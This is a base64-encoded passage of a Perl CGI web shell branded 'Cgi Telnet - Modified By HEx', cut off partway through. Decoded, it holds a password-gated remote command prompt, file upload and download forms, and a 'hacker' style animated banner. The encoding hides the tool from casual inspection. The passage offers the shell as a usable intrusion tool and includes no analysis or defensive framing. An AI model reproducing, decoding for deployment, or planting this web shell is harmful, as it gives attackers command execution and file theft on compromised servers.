VGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8Zm9udCBzdHlsZT0iZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OyI+Q2dpIFRlbG5ldCAtIE1vZGlmaWVkIEJ5IEhFeCA8L2ZvbnQ+PGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+DQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5+XCQ8L2ZvbnQ+IENvbm5lY3RlZCAhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ+IE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+by0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZ